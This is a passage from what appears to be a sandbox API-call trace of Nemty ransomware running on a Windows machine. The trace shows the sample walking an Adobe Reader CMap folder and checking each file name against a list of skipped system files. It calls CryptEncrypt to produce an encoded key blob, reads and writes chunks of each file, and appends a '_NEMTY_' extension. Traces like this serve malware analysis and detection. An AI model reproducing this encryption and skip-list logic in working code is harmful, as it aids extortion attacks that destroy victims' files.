ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-V", cAlternateFileName="GBKP-E~2")) returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2=".") returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="..") returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="...") returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="windows") returned -1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="$RECYCLE.BIN") returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="rsa") returned -1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="NTDETECT.COM") returned -1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="ntldr") returned -1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="MSDOS.SYS") returned -1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="IO.SYS") returned -1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="boot.ini") returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="boot.ini") returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="AUTOEXEC.BAT") returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="ntuser.dat") returned -1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="desktop.ini") returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="CONFIG.SYS") returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="RECYCLER") returned -1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="BOOTSECT.BAK") returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="bootmgr") returned 1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="programdata") returned -1 [0205.948] lstrcmpiW (lpString1="GBKp-EUC-V", lpString2="appdata") returned 1 [0205.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0205.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBKp-EUC-V", lpUsedDefaultChar=0x0) returned 10 [0205.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0205.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBKp-EUC-V", lpUsedDefaultChar=0x0) returned 10 [0205.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0205.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-V", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBKp-EUC-V", lpUsedDefaultChar=0x0) returned 10 [0205.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0205.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-V", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBKp-EUC-V", lpUsedDefaultChar=0x0) returned 10 [0205.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0205.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0205.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0205.949] Sleep (dwMilliseconds=0x5) [0205.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e648c10, dwHighDateTime=0x1d561e8)) [0205.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e648c10, dwHighDateTime=0x1d561e8)) [0205.950] GetLastError () returned 0x5 [0205.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0205.950] GetLastError () returned 0x5 [0205.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0205.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.950] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0205.950] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0205.951] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0205.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0205.951] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="eCY2SAjxP9STynvEipl/+zl/uK7LhEFOsANA9tvmJPGhKjVvws5Lk3CnVkrorS72\r\np2vbJFYxiB9umBtmMF1t6VTYz8mm/8EcxsAkVsLnEmn67JXpvQZXrufLdz8rrryh\r\nD/m2Vbn2RKemsuz6tyRi/f5BGHCZiS+X3qOEJimAFzdlZPUF4yyB6dkoq0UImD3D\r\ncDg/Ec50A2UlL+Y3p6Y/E6R0AC7MMSCX+YNOCZf8SVRhPLtRfEBUTSBw1G8qFRLr\r\nyf/4pvfS0tHFf7GUwbdytJ51IAL9S8ZA/7Hq8YfAEueLrVAlZb2ZhS+F5TfkiXpO\r\nb2t3Jw3q/r/6PPDz2drVRQ==\r\n", pcchString=0x653e91c) returned 1 [0205.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0205.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0205.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0205.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0205.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0205.951] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.952] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0205.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0205.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.980] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.989] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.999] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.999] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.008] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.017] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.053] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0206.059] CloseHandle (hObject=0xffffffff) returned 0 [0206.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0206.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0206.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0206.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0206.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0206.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0206.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.059] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-v._nemty_kgobjgd_")) returned 0 [0206.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0206.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0206.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0206.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0206.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0206.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0206.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0206.060] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x125b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-H", cAlternateFileName="GBPC-E~1")) returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2=".") returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="..") returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="...") returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="windows") returned -1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="$RECYCLE.BIN") returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="rsa") returned -1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="NTDETECT.COM") returned -1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="ntldr") returned -1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="MSDOS.SYS") returned -1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="IO.SYS") returned -1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="boot.ini") returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="boot.ini") returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="AUTOEXEC.BAT") returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="ntuser.dat") returned -1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="desktop.ini") returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="CONFIG.SYS") returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="RECYCLER") returned -1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="BOOTSECT.BAK") returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="bootmgr") returned 1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="programdata") returned -1 [0206.060] lstrcmpiW (lpString1="GBpc-EUC-H", lpString2="appdata") returned 1 [0206.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-H", lpUsedDefaultChar=0x0) returned 10 [0206.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-H", 